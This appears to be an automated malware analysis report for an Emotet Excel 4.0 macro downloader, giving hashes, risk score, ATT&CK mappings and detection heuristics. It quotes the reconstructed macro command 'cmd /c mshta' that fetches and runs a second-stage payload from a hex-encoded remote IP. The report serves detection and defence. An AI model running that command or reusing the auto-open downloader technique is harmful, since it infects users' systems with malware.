Emotet Office (OLE) / .XLSX malware analysis — malicious · f386fa8e712fec7f

MALICIOUS

Office (OLE) / .XLSX

128.8 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel

MD5: 5ad4d93b3b6742b142e65e8ccdecbd5b SHA-1: 0230e1e3e596f12d4d622c9de9893bda17924d15 SHA-256: f386fa8e712fec7fdf912fa73704a375be4db32562d3c74d8069036f2d6d50e8

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Service Execution: Service Control T1204.002 Malicious File Execution: Malicious File

The presence of Excel 4.0 macros, specifically an Auto_Open entry, indicates malicious intent. The macro reconstructs and executes the command 'cmd /c mshta http://0xb907d607/cc.html', which is designed to download and execute a second-stage payload from the specified URL. This behavior is characteristic of Emotet downloaders.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	653 bytes

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